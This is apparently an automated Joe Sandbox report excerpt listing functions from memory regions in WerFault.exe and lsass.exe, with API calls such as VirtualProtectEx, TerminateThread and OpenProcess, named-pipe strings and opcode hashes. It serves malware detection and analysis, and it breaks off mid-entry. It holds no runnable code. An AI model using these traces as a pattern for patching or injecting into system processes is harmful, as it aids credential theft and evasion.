Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 4c50c600c840af11fb29c95c0db3c2be4712be37c9ecc349f2f252041d9feab2
Instruction ID: ec98bbe983424d857dbb2e910f9d1d79588046cf703999e266e6c01844fab790
Opcode Fuzzy Hash: 4c50c600c840af11fb29c95c0db3c2be4712be37c9ecc349f2f252041d9feab2
Instruction Fuzzy Hash: D6118231314E7086E7908B92F85831972B4FB88FE8F644214EE5A977A8CF7AC414D744

Function 00000265B3C037A4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000265B3C037B2
GetCurrentProcess.KERNEL32 ref: 00000265B3C037E0
VirtualProtectEx.KERNEL32 ref: 00000265B3C03802
GetCurrentProcess.KERNEL32 ref: 00000265B3C0381D
VirtualProtectEx.KERNEL32 ref: 00000265B3C0383E

Strings

wr, xrefs: 00000265B3C03813

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction ID: 4bf4458373cbfe68d8e3ce14a3826da9e65b1fe10d7ff6e8b3832059c8e19638
Opcode Fuzzy Hash: d02d62af4a13f9151a1d64f675f2e823d7ed1e1e396348dfe74f8be14938124b
Instruction Fuzzy Hash: C211A136300F6092EF549B92F44C36A63A0FF88B88F140069DE8913B98EF3EC504CB08

Function 00000265B3C05B40 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000265B3C05B7B
GetThreadContext.KERNEL32 ref: 00000265B3C05CE5

Part of subcall function 00000265B3C05970: GetCurrentThreadId.KERNEL32 ref: 00000265B3C05974

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 2460c92bfe80c12f43b9e41940236e3d31cb2b1f5e55ffad558bfd096889bb43
Instruction ID: a6f8fc61d4b3fea6dc9a66bb71ad91eead48e29e30ad2566b163d4c39b602173
Opcode Fuzzy Hash: 2460c92bfe80c12f43b9e41940236e3d31cb2b1f5e55ffad558bfd096889bb43
Instruction Fuzzy Hash: 9AD1A876208FA882DA709B5AE49835AB7B0F7C8B88F105156EACD577A9DF3DC541CF00

Function 00000265B3C014A4 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000265B3C014CA
HeapFree.KERNEL32 ref: 00000265B3C014D9
GetProcessHeap.KERNEL32 ref: 00000265B3C014E6
HeapFree.KERNEL32 ref: 00000265B3C014F5
GetProcessHeap.KERNEL32 ref: 00000265B3C01505

Strings

C:\Windows\system32\WerFault.exe, xrefs: 00000265B3C161A9, 00000265B3C161B1

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Heap$Process$Free
String ID: C:\Windows\system32\WerFault.exe
API String ID: 3168794593-2813204550
Opcode ID: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction ID: faa364e1d180861c150d5367ca9f40bfb18301776936922f6671f5fd3eaadef4
Opcode Fuzzy Hash: 8f6c8013f26ca493c8b85487be1e8632cd5ea831c810228ac57a4b2b7c934696
Instruction Fuzzy Hash: 7D3181B7509EF0AAE391CBF9D8592596FA0FB85F48F398015DEC42335BDA279421D700

Function 00000265B3C0D510 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000265B3C0D51F
FlsSetValue.KERNEL32(?,?,?,00000265B3C0DC25,?,?,?,?,00000265B3C0DCE8), ref: 00000265B3C0D555
FlsSetValue.KERNEL32(?,?,?,00000265B3C0DC25,?,?,?,?,00000265B3C0DCE8), ref: 00000265B3C0D582
FlsSetValue.KERNEL32(?,?,?,00000265B3C0DC25,?,?,?,?,00000265B3C0DCE8), ref: 00000265B3C0D593
FlsSetValue.KERNEL32(?,?,?,00000265B3C0DC25,?,?,?,?,00000265B3C0DCE8), ref: 00000265B3C0D5A4
SetLastError.KERNEL32 ref: 00000265B3C0D5BF

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction ID: 3573062f26d348e38c1b0aac189e5c17a412a166efee5738f7d7f3ea1f1b6ae3
Opcode Fuzzy Hash: 5a5575a5d1708c946e79aad68248bc2e3b8df018e302dfb520b8908bc7679156
Instruction Fuzzy Hash: 8811AC70314FF082FA58B3E29A5D7292252AF447FCF1403A4AC36A77DEDE2AC4458E00

Function 00000265B3C019A4 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000265B3C019CA
K32GetModuleFileNameExW.KERNEL32 ref: 00000265B3C019E8
PathFindFileNameW.SHLWAPI ref: 00000265B3C019F7
lstrlenW.KERNEL32 ref: 00000265B3C01A03
StrCpyW.SHLWAPI ref: 00000265B3C01A16
CloseHandle.KERNEL32 ref: 00000265B3C01A24

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction ID: feb2a10e1dbac8b2057ba4fd8a4a59a85494e341ddde97ed423a7f12b22e8d62
Opcode Fuzzy Hash: 8727d58878f2a869f14b8fd26c384ee344685f44cd71b3c6aa4d19fd6db2488a
Instruction Fuzzy Hash: 67018031300EA096EB50DB92E45C359A3A1FB88FC8FA84034DE8963758DF3EC959C700

Function 00000265B3C036DC Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000265B3C036F8
GetCurrentProcess.KERNEL32 ref: 00000265B3C03706
VirtualProtectEx.KERNEL32 ref: 00000265B3C03728
GetCurrentProcess.KERNEL32 ref: 00000265B3C03746
VirtualProtectEx.KERNEL32 ref: 00000265B3C03767
TerminateThread.KERNEL32 ref: 00000265B3C03776

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 6a4903f23145d629ccf7c0814750504573150cedf00e013b6ac3f495348c8662
Instruction ID: 50df3790e3e6610717c87c47698b3d0c1b550baa087b6062a74a139a7456795a
Opcode Fuzzy Hash: 6a4903f23145d629ccf7c0814750504573150cedf00e013b6ac3f495348c8662
Instruction Fuzzy Hash: 9F012975711F7086EB649BA5E81C31962A4BF48B8AF540128CE8927369EF3EC518DB04

Function 00000265B3C03058 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000265B3C0307A
StrCpyW.SHLWAPI ref: 00000265B3C0308A
StrCatW.SHLWAPI ref: 00000265B3C03096
PathCombineW.SHLWAPI ref: 00000265B3C030A4

Strings

\\.\pipe\, xrefs: 00000265B3C03070

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction ID: b4d8089dee392d1a3fa0bb457632b42721e2caee24f374947a88adb3a52736d3
Opcode Fuzzy Hash: 230e05f875843765b10c94681cacd2039b66fa3fae77185737d73b0c30566c8e
Instruction Fuzzy Hash: 00F08270314FB091EA048B93F91C119A261AF48FD8F548031EE8A27B1CCF3DC495C700

Function 00000265B3C0C208 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000265B3C0C22D
GetProcAddress.KERNEL32 ref: 00000265B3C0C243
FreeLibrary.KERNEL32 ref: 00000265B3C0C26A

Strings

mscoree.dll, xrefs: 00000265B3C0C224
CorExitProcess, xrefs: 00000265B3C0C23C

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction ID: d42a3ba1e659b2f51b9ab46885df229ae9ecb53eaeaeb8013c647c9e96035245
Opcode Fuzzy Hash: 0e03656a98ecf47c8c70bd094229c94189d23a90474f93e2876379b06086d007
Instruction Fuzzy Hash: 83F06275211E3491EB108BA4E44C3595320EF85B69F64421ACA6A596F9CF2EC154D700

Function 00000265B3C050E0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000265B3C05166

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d320431a3885b97cf1102f80532d88567ca490bad17f23be6033182695dcdf12
Instruction ID: e746b50112f850f070068e887a8b3576dfb0868463e56809d211077fdefce0a3
Opcode Fuzzy Hash: d320431a3885b97cf1102f80532d88567ca490bad17f23be6033182695dcdf12
Instruction Fuzzy Hash: B602C83621DBE486EB60CB95E49435AB7A0F7C4798F104015EA8E97BA8DF7EC844CF00

Function 00000265B3C05720 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000265B3C05736

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 58d07a547137d2bff2769a738302b31e3611db479abe89d2490128d207b61db9
Instruction ID: 144f0c22e287931e6232cefa605c0a9db5a7f50df834e3f038ee37cc907f94cd
Opcode Fuzzy Hash: 58d07a547137d2bff2769a738302b31e3611db479abe89d2490128d207b61db9
Instruction Fuzzy Hash: F561DA76519FA4C7E7608B99E45831AB7A0F788788F105255FA8D53BACDB7EC940CF00

Function 00000265B3C14674 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000265B3C1469C
_set_statfp.LIBCMT ref: 00000265B3C146B7
_set_statfp.LIBCMT ref: 00000265B3C146D3
_set_statfp.LIBCMT ref: 00000265B3C1470F

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: c989fef3bf337ca562cee92529b7291bb130821883d4082647cce761f03871b3
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: F511A936AF0E7141F65423E8D45E36911706F6977CF350674A9B7367EECA2688426100

Function 00000265B3C08580 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000265B3C085AB
_IsNonwritableInCurrentImage.LIBCMT ref: 00000265B3C08642
RtlUnwindEx.NTDLL ref: 00000265B3C0869C

Strings

csm, xrefs: 00000265B3C08629

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction ID: cf8963f98abd2b82eaee3ee45e7406df1f6bc69c69f16fd2fa698abaf44b4765
Opcode Fuzzy Hash: 34f41f65ebeee98072c04c36ffcb08d764f10b3598a8f5a66480d6cdd8a7e9c2
Instruction Fuzzy Hash: 2E51CD32311FB08AEB54DB99E448B6C7795EB44B9CF518161EA466378CDB3AE841CB08

Function 00000265B3C0AFC0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000265B3C0B01F
_CallSETranslator.LIBVCRUNTIME ref: 00000265B3C0B06B

Strings

RCC, xrefs: 00000265B3C0B03B
MOC, xrefs: 00000265B3C0B033

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction ID: 8bd76bcae79b7b7819a18e225f38fd455d22610d64dd387b94865d63f31cf005
Opcode Fuzzy Hash: 8ebe29515744ec85b4c7a5c69406529571aeda380531785c74bea0d93e5ddae6
Instruction Fuzzy Hash: AF619D72508FE482EB60CF55E44439AB7A0FB85B98F048255EB9923B99DF3AD194CF00

Function 00000265B3C0B370 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000265B3C0B398
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000265B3C0B480

Strings

csm, xrefs: 00000265B3C0B4D2
csm, xrefs: 00000265B3C0B3BA

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction ID: dcad42909409d285cffe862b5d4df63eda30ab524c9275e52c4e42825555b531
Opcode Fuzzy Hash: 54601b73b573f90b6a3621b815e414a07fc66bdc2a6778d7d0011f6600b73964
Instruction Fuzzy Hash: C951BE32100AF0C6EB64DFE5954835977A2FB54B8CF188195DA89A7BD9CF3AC560CF00

Function 00000265B3C02F18 Relevance: 6.3, APIs: 5, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000265B3C02F3B
HeapAlloc.KERNEL32 ref: 00000265B3C02F4E
StrCmpNIW.SHLWAPI ref: 00000265B3C02FC3
GetProcessHeap.KERNEL32 ref: 00000265B3C03029
HeapFree.KERNEL32 ref: 00000265B3C03037

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 787e2ccd3a4a2f0807cc7fcfab9808ef1bc99af934d1353d068844bd3f29b985
Instruction ID: cb1ab5472dd8b0f5c5fa24d9c03472d00d91ae99d64c63d32ac98184a23b86b4
Opcode Fuzzy Hash: 787e2ccd3a4a2f0807cc7fcfab9808ef1bc99af934d1353d068844bd3f29b985
Instruction Fuzzy Hash: D0316231701FB192EA61DF96E948769A7A0FF44BC8F184024DF8957B59EF36C465CB00

Function 00000265B3C125C8 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000265B3C12647
WriteFile.KERNEL32 ref: 00000265B3C1290F
WriteFile.KERNEL32 ref: 00000265B3C12955
GetLastError.KERNEL32 ref: 00000265B3C12A0B

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction ID: 672ed83e570dcb392832020153011d0660b0c04c4a9a4ac5bd7d9e9b6a7bf364
Opcode Fuzzy Hash: ef5328ec8df5305a5bebb05340c2e4b6dc17e77d604934f64985ec379b581ae8
Instruction Fuzzy Hash: EDD1EE36B14EA089E721CFA9D4483AC37B1FB44BACF248216CE5DA7B9DDA35C446D740

Function 00000265B3C12EF0 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000265B3C1300C
GetLastError.KERNEL32 ref: 00000265B3C13097

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 43d1806d22cf26bb578584b1f50928cd79f72239213f1d2f409b9d03dcc02cf4
Instruction ID: 82b8a53827fd129fff10ec915a8dd3a70280cd5c0f23d612c8065f3ccaa5e698
Opcode Fuzzy Hash: 43d1806d22cf26bb578584b1f50928cd79f72239213f1d2f409b9d03dcc02cf4
Instruction Fuzzy Hash: 52919E72700E7085FBA1DFA9D8883AD2BA4BB44B8CF344109DE4A77699DB37C442E700

Function 00000265B3C07970 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000265B3C0799C
GetCurrentThreadId.KERNEL32 ref: 00000265B3C079AA
GetCurrentProcessId.KERNEL32 ref: 00000265B3C079B6
QueryPerformanceCounter.KERNEL32 ref: 00000265B3C079C6

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction ID: f73215e7dad455afb231f26c2086af343a6a6e9c7bc1bfba46c417bac58a4cb6
Opcode Fuzzy Hash: c25137996cf865269d3dc01569cfdf526b316795659beb4b1a68d386b57b9efa
Instruction Fuzzy Hash: 60113C36710F618AEB40CFA1E8583A833A4FB1975CF541E21DE6D977A8DF79D1A88340

Function 00000265B3C02338 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000265B3C0241E
StrCpyW.SHLWAPI ref: 00000265B3C02435

Strings

\\.\pipe\, xrefs: 00000265B3C02429

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ee842ef1b9af794ce5f9c57276e32575cf678b56a57e7c1674317c9bf9c17d00
Instruction ID: 80fd0e0e5efeabf350905499890869361a0a2bc7408110491b8c8e6118925359
Opcode Fuzzy Hash: ee842ef1b9af794ce5f9c57276e32575cf678b56a57e7c1674317c9bf9c17d00
Instruction Fuzzy Hash: 86512436208FF081E666DEE9A05C3AE6795FB85788F844065DE4923B9DCB3BC508CF40

Function 00000265B3C12C60 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000265B3C12D77
GetLastError.KERNEL32 ref: 00000265B3C12D99

Strings

U, xrefs: 00000265B3C12D23

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction ID: 13e1fa06cd8b34395c7c577ad4a22f781b66b8383201e561f6a86c0ad850ce28
Opcode Fuzzy Hash: 6a2d2f89dbe45a9fea545bcb4aa06eef1d3c7bdcbbdd9a8edf910a903994b9b4
Instruction Fuzzy Hash: 6641C476314EA086EB60DF65E8483AA77A0FB98788F504121EE4D9779CEB7DC441DB40

Function 00000265B3C08A58 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000265B3C08AA8
RaiseException.KERNEL32 ref: 00000265B3C08AE9

Strings

csm, xrefs: 00000265B3C08AD6

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction ID: 10a7dd7db16448f407446f6983adb9c4268c20a4eced4795eb3bfa5357d16e64
Opcode Fuzzy Hash: d7810ab3a0ec9818877cf1b3e283a106e6e962497adc233d094785ed36f44b7e
Instruction Fuzzy Hash: 44112B32215FA082EB618B15E444359B7E4FB88B98F598260EFCD17B68EF3DC551CB04

Function 00000265B3C01BFC Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000265B3C01C35
HeapAlloc.KERNEL32 ref: 00000265B3C01C43
GetProcessHeap.KERNEL32 ref: 00000265B3C01C7F
HeapFree.KERNEL32 ref: 00000265B3C01C8D

Part of subcall function 00000265B3C01534: StrCmpIW.SHLWAPI ref: 00000265B3C01565

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction ID: 092e01609e4caf6e613b8fa8b6b67293fe47d5e72895b9d6f37fcb24ee187790
Opcode Fuzzy Hash: 1e98e18f6346a7606d876eb22bc804523d63b476fed3d5047e07684f33477b56
Instruction Fuzzy Hash: 0811B235601FA481EA44DBA6E40C22977A0FF88FC8F285068CE4D63769DF3AC452D700

Function 00000265B3C01268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000265B3C0126E
HeapAlloc.KERNEL32 ref: 00000265B3C0127D
GetProcessHeap.KERNEL32 ref: 00000265B3C01297
HeapAlloc.KERNEL32 ref: 00000265B3C012A8

Memory Dump Source

Source File: 00000008.00000002.1587032415.00000265B3C00000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000265B3C00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_265b3c00000_WerFault.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 0a849bc9c004dcd1a9c72428d56cbea6717bb06f47582cd4cae041660eb30b01
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 8CE06D75601E2486EB448FA2D80C34A36E1FF89F0AF25C024CD8907355DFBF84AAD750

Analysis Process: lsass.exePID: 632, Parent PID: 5480COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	123
Total number of Limit Nodes:	10

Executed Functions

Function 0000017D2DD52544 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 0000017D2DD52628
StrCpyW.SHLWAPI ref: 0000017D2DD52641

Part of subcall function 0000017D2DD53858: StrCmpNIW.SHLWAPI ref: 0000017D2DD53870

Strings

\\.\pipe\, xrefs: 0000017D2DD52633

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction ID: be60497f1b3bb757eb9c40a55f823d933b164f7bed1d5150bfb2534825b154ea
Opcode Fuzzy Hash: 2214ffb8d2229323086ad34a8b531e28ba158b85d1d3dbad5c7c70fb1dba52b7
Instruction Fuzzy Hash: F271E836208F8A82EB34DF35BC543EA6BB4FB44794F494016DD4D4378ADEB5C58A8740

Function 0000017D2DD52034 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 0000017D2DD520CE

Part of subcall function 0000017D2DD52F18: GetProcessHeap.KERNEL32 ref: 0000017D2DD52F3B
Part of subcall function 0000017D2DD52F18: HeapAlloc.KERNEL32 ref: 0000017D2DD52F4E
Part of subcall function 0000017D2DD52F18: StrCmpNIW.SHLWAPI ref: 0000017D2DD52FC3
Part of subcall function 0000017D2DD52F18: GetProcessHeap.KERNEL32 ref: 0000017D2DD53029
Part of subcall function 0000017D2DD52F18: HeapFree.KERNEL32 ref: 0000017D2DD53037

Strings

S, xrefs: 0000017D2DD521EF

Memory Dump Source

Source File: 00000009.00000002.2673042153.0000017D2DD50000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017D2DD50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_17d2dd50000_lsass.jbxd

Similarity

